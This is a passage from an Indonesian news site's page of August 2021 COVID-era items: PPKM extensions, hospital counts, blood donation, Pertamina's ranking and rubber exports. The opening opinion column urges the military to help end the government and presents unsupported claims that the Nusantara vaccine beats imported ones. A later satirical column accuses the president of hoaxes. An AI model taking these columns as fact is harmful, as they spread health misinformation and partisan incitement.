berakhir di ujung tamatnya rezim sekarang. Pengakuan secara tegas Kepala KSP (Kepala Staf Presiden) Jenderal Purnawirawan Moeldoko yang memilih vaksin Nusantara adalah sinyalemen kuat bahwa TNI akan solid kembali. Semua pimpinan TNI aktif maupun para purnawairan lebih memilih vaksin Nusantara ketimbang vaksin impor. Meski keberadaan vaksin tersebut dipersulit oleh BPOM (Badan Pengawas Obat dan Makanan), tetapi demi NKRI, TNI siap mendukung total. TNI ingin menunjukkan bahwa bangsa ini mampu berdikari dan tidak tersandera kepentingan asing. Aneh jika vaksin harus impor sementara anak bangsa bisa memproduksi sendiri. Lebih terang lagi, Moeldoko sebelumnya divaksin selain vaksin Nusantara sesuai dengan arahan Jokowi. Tetapi, kini ia memilih vaksin Nusantara made in Terawan Agus Putranto, menteri kesehatan yang dipecat Jokowi. Terawan juga adalah seorang dokter, purnawirawan TNI dengan pangkat terakhir Letnan Jenderal atau bintang tiga. TNI harus sadar lebih cepat membaca nasib bangsa ke depan. Jika salah langkah, bahayanya lebih mengerikan.TNI sebaiknya mulai berkampanye ke seluruh penjuru negeri bahwa vaksin Nusantara buatan dalam negeri jauh lebih manjur, aman, halal, dan efektif ketimbang vaksin impor yang selalu menimbulkan keraguan. Vaksin Nusantara diambil dari darah orang yang mau disuntik lalu dimasukkan kembali ke tubuh yang bersangkutan. TNI sadar bahwa dengan kesolidan yang nyata, maka NKRI berdaulat, aman, dan terkendali. TNI cepatlah baris bersama rakyat menuntaskan rezim ini. Jangan hanya di belakang rakyat. Rakyat sudah tidak tahan negara dikelola dengan serampangan, teknik adu- domba, penuh intrik, dan permusuhan. Rakyat sudah muak dengan pencitraan, kemunafikan, kebohongan atau hoaks. Rakyat butuh sejahtera secara nyata, bukan kata- kata.Rakyat butuh pemimpin yang tegas, cerdas, dan berkarakter. TNI bisa mengingatkan presiden agar tidak bermain-main dengan kedaulatan, kesehatan masyarakat, dan masa depan ekonomi. Segeralah bertindak, rakyat solid bersama TNI.

Jumlah Pedonor Darah di PMI Jakarta Timur Mulai Stabil

Jakarta, FNN - Jumlah pedonor darah di Palang Merah Indonesia (PMI) Jakarta Timur mulai stabil seiring dengan penyesuaian dalam Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Koordinator Unit Donor Darah (UDD) PMI Jakarta Timur dr. Fara mengatakan, saat ini jumlah pedonor darah mencapai hingga 20 orang per hari. "Untuk jumlah pedonor di PMI Jakarta Timur sekarang per harinya bisa mencapai 8-20 orang. Kalau sebelum PPKM jumlah pendonor mencapai 15-25 per hari," kata Fara di Jakarta, Selasa. Fara mengatakan, jumlah pedonor darah sempat mengalami penurunan selama masa PPKM Darurat pada 3-20 Juli 2021. Penurunan jumlah pedonor itu, kata Fara, karena kegiatan donor terkendala pembatasan kegiatan publik sehingga warga yang ingin datang langsung mendonorkan darah pun berkurang. "Penurunan jumlah pedonor terjadi saat PPKM Darurat, sekarang (PPKM Level 4) jumlah pedonor sudah stabil," ujar Fara. Wakil Gubernur DKI Jakarta Ahmad Riza Patria sebelumnya juga telah mengimbau masyarakat untuk melakukan kegiatan donor darah di wilayahnya masing-masing untuk mencukupi kebutuhan stok darah PMI DKI. Riza mengatakan jumlah pedonor di PMI DKI Jakarta belakangan ini anjlok menjadi kurang dari 100 per hari, sementara banyak warga dengan berbagai kebutuhan medis membutuhkan donor. (mth)

Pertamina Duduki Peringkat 287 Perusahan Papan Atas Dunia

Jakarta, FNN - PT Pertamina (Persero) tahun ini kembali mencatatkan namanya sebagai satu-satunya perusahaan Indonesia yang masuk dalam daftar 500 perusahaan papan atas dunia atau Furtune Global 500. Dalam daftar itu, Pertamina menduduki peringkat 287 mengungguli beberapa perusahaan terkenal lainnya, seperti Repsol, Tesla, Danone, dan Coca-Cola. "Ini merupakan pengakuan dunia internasional bahwa Pertamina sejajar dengan world class company lainnya," kata Direktur Utama Pertamina Nicke Widyawati dalam keterangannya di Jakarta, Selasa. Nicke mengungkapkan pihaknya mengalami triple shock yang menyebabkan pendapatan menurun signifikan akibat dampak pandemi COVID-19. Namun, inovasi dan terobosan bisnis yang dilakukan di seluruh lini bisnis serta transformasi organisasi membuat Pertamina mampu meningkatkan pendapatan hingga mencapai 41,47 miliar dolar AS dan mencetak laba 1,05 miliar dolar AS pada tahun lalu. Melalui pencapaian kinerja operasional dan keuangan tersebut, total pendapatan pemerintah tahun lalu yang dikontribusi dari Pertamina hampir mencapai Rp200 triliun. Pendapatan itu berupa setoran pajak, deviden, dan penerimaan negara bukan pajak (PNBP) senilai Rp 126,7 triliun serta penerimaan negara dari minyak mentah dan kondensat bagian negara (MMKBN) dari blok-blok migas Pertamina sebesar Rp73,1 triliun. Sebagai BUMN, Pertamina konsisten memastikan penyediaan energi untuk negeri melalui berbagai program, di antaranya bahan bakar minyak satu harga, konversi bahan bakar minyak ke bahan bakar gas untuk nelayan dan petani, pembangunan jaringan transmisi dan distribusi gas bumi, serta infrastruktur hilir lainnya. "Kami optimis akan terus tumbuh dan terus memberikan manfaat seluas-luasnya untuk masyarakat dan negara,” ujar Nicke. Pemeringkatan Fortune Global 500 merupakan ajang tahunan yang dilakukan majalah Fortune sejak tahun 1955. Tolak ukur utamanya adalah besaran pendapatan termasuk pendapatan anak perusahaan. Indikator lain adalah penyertaan modal pemegang saham, kapitalisasi pasar, keuntungan, jumlah karyawan, dan sejak 1990 indikator negara asal perusahaan juga dipertimbangkan dalam Fortune Global 500. Di sektor energi, beberapa nama perusahaan migas internasional juga tercatat masuk dalam pemeringkatan Fortune Global 500 tahun 2021, di antaranya BP posisi 18, Royal Dutch Shell posisi 19, Exxon Mobile posisi 23, Chevron posisi 75, Petronas posisi 277, Pertamina posisi 287, dan Repsol posisi 381. Selain itu, beberapa industri terkenal lain di luar sektor migas yang juga masuk dalam peringkat Fortune Global 500 adalah Coca-Cola yang berada pada posisi 370, Tesla posisi 392, dan Danone posisi 454. (mth)

Wakil Ketua MPR: Pemerintah Tepat Perpanjang PPKM

Jakarta, FNN - Wakil Ketua MPR RI Syarief Hasan menilai kebijakan pemerintah memperpanjang pemberlakuan pembatasan kegiatan masyarakat (PPKM) level 4 sangat tepat untuk meminimalkan potensi penyebaran pandemi COVID-19. "Pembatasan aktivitas masyarakat melalui perpanjangan PPKM ini sudah tepat untuk memotong rantai penyebaran pandemi COVID-19. Namun pemerintah harus memastikan bahwa kebijakan tersebut ditindaklanjuti sampai pada level terbawah secara tegas dan tetap humanis," kata Syarief Hasan dalam keterangannya di Jakarta, Selasa. Dia mengatakan Partai Demokrat sejak awal mendorong pemerintah mengambil kebijakan pembatasan secara tegas dan berani melakukan karantina di wilayah zona merah. Syarief menjelaskan partainya sejak awal mendesak pemerintah melarang warga negara asing (WNA) masuk ke Indonesia dan akhirnya benar-benar dilarang pemerintah. Dia berharap program vaksinasi dapat segera menjangkau seluruh masyarakat Indonesia karena merupakan salah satu usaha untuk memutus penyebaran COVID-19 dan membentuk kekebalan kelompok atau "herd immunity". "Pemerintah harus terus mengoptimalkan vaksinasi sehingga mencapai target 70 persen dan terbentuk kekebalan kolektif, baik lokal maupun nasional," ujarnya. Dia mendukung Presiden Jokowi untuk memimpin langsung percepatan penyaluran bantuan sosial (bansos) pada masa pandemi COVID-19 dan pemerintah harus segera menyalurkannya kepada masyarakat yang terdampak. Syarief menilai langkah tersebut harus dilakukan agar PPKM dapat berjalan optimal sehingga kebutuhan sehari-hari masyarakat dapat terpenuhi. Selain itu, menurut dia, pemerintah harus segera mengoptimalkan bantuan ultra mikro dan UMKM agar dapat tetap tumbuh di tengah pandemi COVID-19. (mth)

Nilai Ekspor Karet Sumut Semester I Capai 838,692 Juta Dolar AS

Medan, FNN - Nilai ekspor karet dan barang dari karet Sumatera Utara pada semester i 2021 mencapai 838,692 juta dolar AS didorong naiknya volume dan harga ekspor komoditas itu. .. "Pada semester I 2020, nilai ekspor karet dan barang dari karet Sumut masih 484,696 juta dolar AS, sementara periode sama 2021 sudah mencapai 838,692 juta dolar AS atau naik 73,03 persen," ujar Kepala Badan Pusat Statistik (BPS) Sumut, Syech Suhaimi di Medan, Selasa. Berdasarkan data, kata dia, kenaikan nilai ekspor karet dan barang dari karet Sumut itu didorong meningkatnya volume penjualan mau pun harga ekspor. Meningkatnya nilai ekspor karet dan barang dari karet Sumut itu, membuat kontribusi komoditas tersebut dalam total nilai devisa Sumut selama semester I 2021 juga semakin besar atau 15,58 persen. Total nilai ekspor Sumut pada semester I 2021 sudah mencapai 5,383 miliar dolar AS Syech Suhaimi mengakui, karet dan barang dari karet, setiap tahunnya menempati posisi kedua terbesar setelah golongan barang lemak dan.minyak hewan/nabati dalam menyumbang nilai ekspor Sumut. Sekretaris Eksekutif Gabungan Perusahaan Karet Indonesia (Gapkindo) Sumut, Edy Irwansyah, mengakui, volume ekspor karet Sumut pada semester I 2021 naik 9,9 persen dibandingkan. periode sama 2020 atau menjadi 187.277 ton didorong banyak permintaan. Pada semester I 2020, volume ekspor karet Sumut masih sebesar 170.425 ton dan periode sama 2021 menjadi 187.277 ton. Menurut dia, peningkatan ekspor di semester 1 2021 terjadi karena membaiknya permintaan dari negara konsumen khususnya asal Jepang, Amerika Serikat, Republik Rakyat Tiongkok dan India. (mth)

BNPB Lakukan Pendampingan-Pemantauan Posko PPKM Jabodetabek

Jakarta, FNN - Badan Nasional Penanggulangan Bencana (BNPB) melakukan penguatan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4 di wilayah Jakarta, Bogor, Depok, Tangerang, Bekasi, dan Tangerang Selatan (Jabodetabek - Tangsel), melalui posko-posko di kelurahan. "Hal tersebut guna memperkuat peran posko di lapangan untuk mendukung percepatan penanganan COVID-19 di Indonesia," ujar Pelaksana tugas Kepala Pusat Data, Informasi dan Komunikasi Kebencanaan BNPB Abdul Muhari dalam keterangannya yang diterima di Jakarta, Selasa. BNPB yang diwakili Direktorat Dukungan Sumber Daya Darurat (DSDD) meninjau wilayah Jabodetabek – Tangsel pada Senin (19/7) hingga Kamis (22/7). Penguatan dilakukan dengan melakukan koordinasi dan pendampingan kepada posko PPKM. Koordinasi dilakukan terkait kebutuhan posko untuk penanganan darurat COVID-19. "Selain itu, tim BNPB juga melakukan pemantauan pelaksanaan PPKM di tingkat kelurahan. Dari hasil pemantauan di lapangan, tim mencatat posko PPKM yang berada di tingkat kelurahan berperan aktif sesuai dengan peraturan daerah masing-masing," ujar Abdul. Unsur pentahelix berperan aktif dalam penguatan posko PPKM, salah satunya dalam hal pemberdayaan relawan. Berbagai kalangan dikerahkan untuk ditempatkan sebagai relawan pada posko-posko tersebut. Di Kelurahan Jagakarsa, Jakarta Selatan misalnya, relawan posko berasal dari swadaya masyarakat, tokoh agama, dan dokter dari warga setempat. Begitu pula di Kelurahan Ciracas dan Kelurahan Lubang Buaya, Jakarta Timur. Di Kota Tangerang Selatan, Satuan Tugas (Satgas) dan relawan aktif menindak para pelanggar PPKM Darurat. Adapun penindakan tersebut dilakukan sesuai dengan Surat Edaran Walikota Tangerang Selatan Nomor.443/2584/Huk tentang Perpanjangan PPKM Level 4. Edukasi dan sosialisasi protokol kesehatan kepada masyarakat juga gencar dilakukan. Di Kabupaten Bogor, edukasi dilakukan mulai dari terjun langsung ke lapangan hingga melalui laman media sosial. Hal tersebut dilakukan untuk membangun kesadaran masyarakat akan pentingnya protokol kesehatan. Sementara itu, tim juga mencatat beberapa hal yang kerap menjadi kendala di lapangan. Seperti di sebagian wilayah DKI Jakarta dan Kota Depok, pasokan oksigen masih sangat kurang untuk memenuhi kebutuhan warga, yang menyebabkan warga kesulitan untuk mendapatkan oksigen. Selain itu, posko PPKM di Kelurahan Ciracas dan Kelurahan Lubang Buaya melaporkan adanya petugas dan nakes yang ikut terpapar COVID-19. Hal ini menyebabkan kurangnya SDM sehingga menghambat penanganan COVID-19 di wilayahnya. "Menurut data yang dikeluarkan BNPB per Senin (2/8), kenaikan kasus harian di DKI Jakarta dan Banten mencapai 1000 kasus. Sementara di jawa Barat kasus harian bertambah sebanyak 2341 kasus," uiar Abdul memaparkan. Provinsi Jawa Barat dan DKI Jakarta juga masuk ke dalam urutan lima besar kematian harian tertinggi di Indonesia. Pendampingan dan pemantauan posko PPKM ini diharapkan dapat mengurangi angka tersebut. Koordinasi bersama pihak-pihak di tingkat kelurahan juga diharapkan dapat memenuhi kebutuhan penanganan COVID-19 di wilayah Jabodetabek. (sws)

2.376 Pasien COVID Dirawat di RS Wisma Atlet Kemayoran

Jakarta, FNN - Sebanyak 2.376 pasien terkonfirmasi positif virus Korona (Covid-19) masih dirawat di RS Darurat Wisma Atlet di Kemayoran, Jakarta, hingga Selasa (3/8). "Pasien berkurang 98 orang," kata kepala Penerangan Komando Gabungan Wilayah Pertahanan I TNI, Kolonel Marinir Aris Mudian, di Jakarta, Selasa. Ia menjelaskan jumlah pasien dalam perawatan pada Senin (2/8) sebanyak 2.474 orang. Pasien yang sehat telah kembali ke tempat tinggalnya masing-masing. Ia menjelaskan para pasien Covid-19 itu dirawat di Menara 4, 5, 6, dan 7. Para pasien itu dirawat dengan gejala ringan. Kapasitas RS Darurat Covid-19 Wisma Atlet di Kemayoran mampu menampung 7.937 pasien. Sehingga, tersisa saat ini sebanyak 5.561 tempat tidur yang kosong. Untuk rekapitulasi pasien sejak 23 Maret 2020 hingga 3 Agustus 2021, sebanyak 123.325 orang pasien terdaftar, 120.949 orang pasien telah keluar dengan rincian 119.419 dinyatakan sembuh, 969 dirujuk ke RS lain dan 561 orang meninggal dunia. Sementara itu, di RS Darurat Wisma Atlet di Pademangan terdapat pasien rawat inap sebanyak 5.218 orang hingga Selasa. Angka itu berkurang 264 orang dibandingkan Senin (2/8) sebanyak 5.482 orang. Para pasien itu dirawat di Menara 8, 9, dan 10. Untuk RS Darurat Covid-19 di Rusun Nagrak, Jakarta Utara, pasien rawat inap sebanyak 59 orang hingga Selasa. Angka itu bertambah 2 orang dibandingkan Senin (2/8) sebanyak 57 orang. Para pasien itu dirawat di Menara 1, 2, dan 3. Untuk RS Darurat Covid-19 di Rusun Pasar Rumput, pasien rawat inap sebanyak 453 orang hingga Selasa. Angka itu berkurang 13 orang dibandingkan Senin (2/8) sebanyak 466 orang. (sws)

Perpanjangan PPKM di Surabaya Diharapkan Tetap Ada Kelonggaran

Surabaya, FNN - Legislator berharap perpanjangan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4 untuk periode 3-9 Agustus 2021 di Kota Surabaya, Jatim, tetap ada kelonggaran bagi aktivitas perdagangan usaha kecil. "Sudah banyak masyarakat yang menjerit karena kondisi ini. Meski sudah mendapatkan bantuan sosial tunai dan sembako," kata anggota Komisi D Bidang Kesra DPRD Surabaya Akmarawita Kadir di Surabaya, Selasa. Menurut dia, PPKM masih diperlukan mengingat bed occupancy rate (BOR) atau tingkat keterisian tempat tidur di rumah sakit Surabaya masih tinggi. Selain itu juga ketersediaan tempat tidur di ruang ICU juga belum turun. "Meski angka pasien yang terpapar COVID-19 sudah mulai turun, namun menurut saya PPKM masih diperlukan," ujarnya. Akmarawita yang juga berprofesi dokter ini mengatakan yang patut menjadi perhatian utama saat ini adalah disiplin akan protokol kesehatan 5 M yakni memakai masker, mencuci tangan, menjaga jarak, menjauhi kerumunan dan mengurangi mobilitas. "Protokol kesehatan 5 M itu kuncinya untuk memutus penularan COVID-19," katanya. Selain itu, Akmarawita juga menekankan pengawasan terhadap usaha-usaha kecil tersebut. "Kalau warung makan atau warkop misalnya, tetap harus dipantau jumlah pengunjungnya. Jangan sampai menimbulkan kerumunan," katanya. Presiden RI Joko Widodo dalam pernyataan yang disiarkan melalui kanal Youtube Sekretariat Presiden pada Senin (2/8) malam mengatakan, dengan mempertimbangkan beberapa indikator kasus pada minggu ini, pemerintah memutuskan untuk melanjutkan PPKM level 4 dari tanggal 3-9 Agustus 2021 di beberapa kabupaten kota tertentu dengan penyesuaian pengaturan aktivitas dan mobilitas masyarakat sesuai dengan kondisi masing-masing daerah. Sesuai Instruksi Menteri Dalam Negeri (Inmendagri) kepada kepala daerah terkait perpanjangan PPKM Level 4, khususnya untuk daerah-daerah yang masuk level 3 dan level 4 tidak banyak yang berubah. Kegiatan non esensial masih diwajibkan berlangsung secara virtual, sementara aktivitas esensial diperbolehkan beroperasi sampai 50 persen dari kapasitas normal. Kemudian, kegiatan pada sektor kritikal diperbolehkan berlangsung secara langsung/tatap muka 100 persen, tetapi dengan menerapkan protokol kesehatan yang ketat. (sws)

Buruk Muka Cermin Dibelah, Beda Akidi dengan Mukidi

Oleh Ahmad Khozinudin (Sastrawan Politik) AMSYONG, dikibuli dan dipermalukan di depan publik itu menyakitkan. Apalagi, dilakukan terhadap pejabat yang sebelumnya ikut melambungkan perannya sebagai pihak yang turut serta berhak atas penghormatan. Itulah, kisah hoax Rp 2 trliun Akidi Tio. Semua yang sebelumnya merasa terlibat, terhitung ikut menyampaikan kabar kedermawanan Akidi, kini kena getahnya. Bahkan, bukan hanya pejabat, Dahlan Iskan pun ikut merasa 'diberaki' mukanya karena begitu gegap gempita ikut melambungkan sosok Akidi Tio. Akhirnya, Heriyanti, anak bungsu Akidi Tio dijemput langsung Direkrur Intelkam Polda Sumsel, Kombes Pol Ratno Kuncoro ke Mapolda Sumsel Senin (2/8/2019). Info terbaru Heriyanti ditetapkan tersangka kasus uang hibah Rp 2 Triliun yang tidak benar. Penjemputan ini penting untuk melindungi muka pejabat yang jelas-jelas ditipu dengan iming-iming bantuan Rp. 2 Triliun. Meskipun ada kesalahan pejabat, kenapa langsung percaya, kenapa tidak melakukan verifikasi data dan fakta, kenapa tidak pegang tuh duit baru bicara, kenapa ikut sibuk bikin seremonial penerimaan, dan seterusnya. Ga ada urusan, yang penting proses dulu. Buruk Muka Cermin Dibelah. Pejabat, itu logikanya pokoknya. Malu urusan nanti, sekarang cari kambing hitam dulu. Padahal, kalau mau fair, semua yang terlibat membuat dan/atau menyebarkan hoax duit 2 Triliun Akidi Tio dapat dijerat pasal 14 UU No 1 Tahun 1946 tentang Peraturan Hukum Pidana. Bahkan, pembuat hoax dapat dituntut 10 tahun penjara. Kita semua tentu mengapresiasi sikap tegas pejabat kepolisian yang menjemput paksa anak Akidi. Kasus Akidi ini benar-benar telah menerbitkan keonaran se NKRI. Seluruh pejabat di cipoa. Tapi bagaimana dengan Mukidi? Akidi hanya hoax Rp. 2 Triliun, sementara Mukidi sebar hoax Rp. 11.000 Triliun. Bahkan, bukan cuma 11.000 triliun, Mukidi juga sebar hoax soal mobil SMK, hoax buy back Indosat, hoax tidak akan import, hoax Bisa Kalajengking, hoax tidak akan utang, dst. Rasanya, jika cermin itu mau dipecah jangan hanya putri Akidi yang dijemput paksa. Mukidi juga harus dijemput paksa, diperlakukan seperti anak Akidi. Kalau sudah begini, mau pecahkan cermin berapapun rasanya nasi sudah menjadi bubur. Wibawa yang sudah tercela, tidak akan mungkin kembali memiliki kehormatan karena tindakan jemput jemputan. Negeriku oh negeriku. Jangankan dengan asing, di negeri sendiri saja mudah dipecundangi. Bagaimana mungkin akan mampu berdikari di antara bangsa bangsa di dunia ? Akidi dan Mukidi sama-sama penebar hoax. Tapi setidaknya, Akidi punya jasa untuk menunjukkan betapa buruknya mental dan intelektual pejabat di negeri ini. Adapun Mukidi ? Muke Lo Jauh ...... [].

Varian Delta Picu Kenaikan Kasus, Kematian COVID-19 di AS

Washington, FNN - Amerika Serikat (AS) mencatat kenaikan pada jumlah kasus, orang yang dirawat, dan kematian akibat COVID-19 pekan lalu, bahkan ketika tingkat vaksinasi terus meningkat di tengah kekhawatiran terhadap varian Delta yang sangat menular. "Kami masih khawatir kenaikan kasus terus berlanjut, yang dipicu oleh varian Delta," kata koordinator tanggap COVID-19 Gedung Putih Jeff Zients pada Senin (2/8). Dia mengatakan kasus terkonsentrasi di komunitas dengan tingkat vaksinasi COVID-19 yang rendah. Satu dari tiga kasus di seluruh AS pekan lalu berasal dari Florida dan Texas, kata dia kepada pers. Sementara itu, vaksinasi sudah menjangkau lebih banyak orang ketika kekhawatiran pada varian Delta makin meningkat. Zients mengatakan dalam beberapa pekan terakhir kenaikan jumlah rata-rata orang yang divaksin tiap hari mencapai hampir 70 persen. Tiga juta penduduk AS telah menerima suntikan pertama dalam tujuh hari terakhir, dan negara itu mencapai tonggak penting saat jumlah orang dewasa yang menerima minimal satu dosis sudah mencapai 70 persen dari populasi pada Senin. "Masih ada sekitar 90 juta penduduk Amerika yang memenuhi syarat tapi belum divaksin, dan kami membutuhkan mereka untuk menjalaninya," kata dia. Direktur Pusat Pengendalian dan Pencegahan Penyakit (CDC) Dr. Rochelle Walensky mengatakan hingga Sabtu (31/8) ada sekitar 72.000 kasus baru COVID-19 per hari di AS, naik 44 persen dari pekan sebelumnya dan lebih tinggi dari rekor kasus pada musim panas 2020. Orang yang dirawat naik 41 persen dan kematian juga naik hingga 300 orang per hari atau meningkat 25 persen, kata dia. "Ketika kita sangat ingin mengakhiri pandemi ini, COVID-19 jelas belum selesai dengan kita. Jadi pertempuran masih harus berlangsung lebih lama," kata Walensky. Gedung Putih tengah bekerja dengan negara-negara bagian untuk mendorong vaksinasi dengan menggunakan insentif, menyusul seruan Presiden Joe Biden pekan lalu agar dana federal dipakai untuk memberi 100 dolar kepada siapa pun yang divaksin, kata Zients. Dia mengatakan kebijakan Gedung Putih --yang mendesak pekerja federal untuk menjalani vaksinasi atau melakukan tes COVID-19 tiap minggu-- memacu perusahaan lain untuk menerapkan kebijakan serupa bagi para pegawainya. Dia menambahkan bahwa vaksinasi sebagai syarat kembali bekerja atau sekolah sedang menjadi tren di mana-mana. Walensky mengatakan CDC tengah mendorong orang yang telah bersedia menerima suntikan ketiga --sebagai penguat-- untuk melaporkan data mereka ke ilmuwan pemerintah. "Jika orang berinisiatif untuk mendapat suntikan ketiga --sekali lagi, belum direkomendasikan-- tapi kami punya kapasitas untuk melakukan itu dan tengah meneliti datanya sekarang," kata Walensky. (sws) Sumber: Reuters

BNPB Dukung Pengendalian COVID-19 dan Pemulihan Ekonomi di Bali

Jakarta, FNN - Badan Nasional Penanggulangan Bencana (BNPB) mendukung upaya percepatan pengendalian penularan COVID-19 dan pemulihan ekonomi di Pulau Bali. "Selain guna mengendalikan penambahan kasus COVID-19, dukungan tersebut juga diberikan untuk mendorong percepatan pemulihan ekonomi dari sektor wisata di Pulau Dewata, Bali, yang selama ini terdampak pandemi," kata Pelaksana Tugas Kepala Pusat Data, Informasi, dan Komunikasi Kebencanaan BNPB Abdul Muhari dalam keterangan tertulis BNPB yang diterima di Jakarta, Selasa. Pejabat BNPB meninjau posko pemberlakuan pembatasan kegiatan masyarakat (PPKM) untuk mengendalikan penularan COVID-19 di Kota Denpasar dan Kabupaten Badung pada Kamis (22/7) hingga Minggu (25/7). BNPB memastikan upaya penegakan protokol kesehatan yang dilakukan oleh petugas TNI, Polri, Satuan Polisi Pamong Praja, serta pecalang sudah berjalan dengan baik di kedua daerah tersebut. Pemerintah Provinsi Bali mengaktifkan kembali Posko Satuan Tugas Gotong Royong berbasis desa adat untuk mendukung pengendalian penularan virus corona. Bali juga mendirikan pos komando Satuan Tugas Penanganan COVID-19 tingkat provinsi di Kantor Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Bali. "Selain itu, Satgas tingkat kabupaten/kota hingga desa/kelurahan termasuk desa adat juga dibentuk di sembilan titik," kata Abdul Muhari. Dalam upaya mengurangi mobilitas warga selama PPKM, ia menjelaskan, Pemerintah Provinsi Bali melakukan penutupan atau penyekatan di ruas jalan yang menghubungkan satu daerah dengan daerah lain. Pemerintah provinsi juga mengerahkan personel untuk mengawasi kepatuhan terhadap ketentuan pembatasan waktu operasional pusat perdagangan atau perbelanjaan hingga pukul 20.00 WITA. BNPB mengawal upaya penanganan COVID-19 mulai dari hulu sampai hilir, termasuk memantau pelaksanaan PPKM, mengecek fasilitas isolasi mandiri dan rumah sakit rujukan penanganan COVID-19, serta memantau pelaksanaan vaksinasi. "Program vaksinasi ini terus didorong agar kemudian kegiatan ekonomi oleh para pelaku usaha di sektor seni dan wisata di Pulau Dewata segera dapat dipulihkan kembali," kata Abdul Muhari. Data pemerintah menunjukkan, jumlah akumulatif warga yang terserang COVID-19 Provinsi Bali hingga Senin (2/8) sebanyak 78.509 orang dengan perincian 12.911 orang yang masih dalam perawatan, 63.367 orang sudah sembuh, dan 2.231 orang meninggal dunia. (sws)

Epidemiolog Nlai Perpanjangan PPKM Sudah Tepat

Jakarta, FNN - Epidemiolog dari Fakultas Kesehatan Masyarakat Universitas Indonesia (FKMUI) Iwan Ariawan menilai keputusan pemerintah memperpanjang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level empat hingga 9 Agustus sudah tepat. "Agar kebijakan ini efektif, masyarakat harus terus disiplin menjalankan protokol kesehatan," kata dia melalui keterangan tertulis yang diterima di Jakarta, Selasa. Iwan Ariawan mengatakan penurunan kasus COVID-19 sudah terlihat di Jawa-Bali. Namun, berdasarkan indikator PPKM, sebagian besar kabupaten dan kota di dua pulau itu memang masih di level empat. Oleh sebab itu, menurut dia, keputusan memperpanjang PPKM sudah tepat karena kebijakan penilaian terhadap daerah menjadi lebih jelas. "PPKM level empat yang diberlakukan di sebagian besar kabupaten dan kota di Jawa-Bali menunjukkan ada manfaatnya," kata dia. Dengan kategori level satu sampai empat, sebetulnya PPKM bisa terus berlangsung. Level tersebut bisa turun ketiga, dua atau satu jika kasus di suatu daerah ada penurunan. Sebaliknya, levelnya juga bisa naik kembali apabila terjadi peningkatan kasus, perawatan di rumah sakit dan kematian. "PPKM level empat yang sekarang dilakukan di Jawa Bali diperlukan untuk menurunkan perawatan pasien di fasilitas kesehatan," ujar dia. Jika tidak, fasilitas kesehatan akan kolaps dan angka kematian naik, baik karena COVID-19 atau penyakit lainnya. Iwan mengajak masyarakat mendukung perpanjangan PPKM supaya pandemi bisa segera diatasi. Penting bagi masyarakat untuk semakin disiplin menerapkan protokol kesehatan, tes dan pelacakan ditingkatkan pemerintah, cakupan vaksinasi ditingkatkan, maka wabah bisa segera dikendalikan. "Pemantauan dan pemodelan tim pandemi FKMUI menunjukkan PPKM level empat ini efektif," ujar dia. Saat mengumumkan perpanjangan PPKM level empat, Presiden Joko Widodo mengatakan bahwa kebijakan tersebut berdampak positif bagi penanganan COVID-19. Dengan mempertimbangkan perkembangan beberapa indikator kasus pada minggu ini, pemerintah memutuskan melanjutkan PPKM level empat di beberapa kabupaten dan kota tertentu dengan penyesuaian pengaturan aktivitas dan mobilitas masyarakat sesuai kondisi masing-masing daerah. (sws)

BNPB Kirim Bantuan Masker dan Oksigen ke Papua Barat

Jakarta, FNN - Kedeputian Bidang Logistik dan Peralatan Badan Nasional Penanggulangan Bencana (BNPB) mengirim bantuan masker dan oksigen ke Provinsi Papua Barat untuk mendukung penanganan pasien COVID-19 di wilayah tersebut. Menurut siaran pers BNPB yang diterima di Jakarta, Selasa, bantuan masker yang dikirim sebanyak 150.000, meliputi 30.000 masker medis, 15.000 masker KF 94, 50.000 masker medis anak, 5.000 masker kain INA, dan 55.000 masker kain anak. "BNPB juga mengirimkan sebanyak 50 tabung oksigen, 50 oksigen konsentrator, 1.000 sarung tangan medis, 1.000 medical T-Well, dan alat rapid test antigen sebanyak 10 ribu unit," kata Pelaksana Tugas Kepala Pusat Data, Informasi, dan Komunikasi Kebencanaan BNPB Abdul Muhari. Bantuan perlengkapan pendukung upaya penanggulangan COVID-19 untuk Papua Barat dikirim menggunakan pesawat Hercules milik TNI Angkatan Udara dari Lanud Halim Perdanakusuma di Jakarta, Senin (2/8), dan dijadwalkan tiba di Papua Barat pada Selasa (3/8). Komando Daerah Militer (Kodam) XVIII/Kasuari dijadwalkan menerima bantuan tersebut dan pengelola Rumah Sakit Umum Daerah (RSUD) Provinsi Papua Barat akan menyalurkannya. Menurut data Satuan Tugas Penanganan COVID-19 Provinsi Papua Barat jumlah akumulatif warga yang terserang COVID-19 di wilayah Papua Barat per Senin (2/8) sebanyak 18.900 orang dengan jumlah penderita yang sudah sembuh sebanyak 16.035 orang dan pasien yang meninggal dunia 290 orang. Persentase kasus positif COVID-19 di wilayah itu tercatat 27,6 persen dari total 68.408 orang yang diperiksa dan persentase pasien COVID-19 yang sudah sembuh sebanyak 84,4 persen dari jumlah total orang yang terinfeksi virus corona. (sws)

Pemkot Depok Larang Warga Gelar Lomba 17 Agustus yang Undang Kerumunan

Depok, FNN - Pemerintah Kota (Pemkot) Depok Jawa Barat mengimbau kepada warga Depok untuk tidak menyelenggarakan perlombaan 17 Agustusan dan kegiatan yang melibatkan banyak orang, dan seluruh kegiatan dilaksanakan secara virtual untuk menekan penyebaran COVID-19. Hal tersebut tertuang dalam Surat Edaran Nomor : 003/393-PROMENTASI Tentang Peringatan HUT Kemerdekaan RI KE-76 Tahun 2021 Tingkat Kota Depok yang diterbitkan Wali Kota Depok Mohammad Idris. Terbitnya SE tersebut sebagai tindak lanjut SE dari Kementerian Dalam Negeri RI Nomor: 03.1/3743/SJ tanggal 30 Juni 2021 tentang Pelaksanaan Pemasangan Bendera dan Umbul-umbul dalam rangka Peringatan HUT ke-76. Melalui SE Wali Kota Depok tersebut, sejumlah imbauan dikeluarkan Pemerintah Kota (Pemkot). Antara lain menyemarakkan Bulan Kemerdekaan Tahun 2021 dengan memasang Bendera Merah-Putih di lingkungan tempat tinggal masing-masing sejak tanggal 1-31 Agustus 2021. Selain itu, imbauan ini juga berlaku bagi setiap lingkungan gedung atau perkantoran pemerintah dan swasta serta tempat-tempat strategis lainnya. Agar memasang dekorasi, seperti, umbul-umbul, poster, spanduk, baliho atau hiasan lainnya secara serentak pada bulan Agustus 2021. Kemudian, mengimplementasikan secara maksimal logo dan desain turunan HUT ke-76 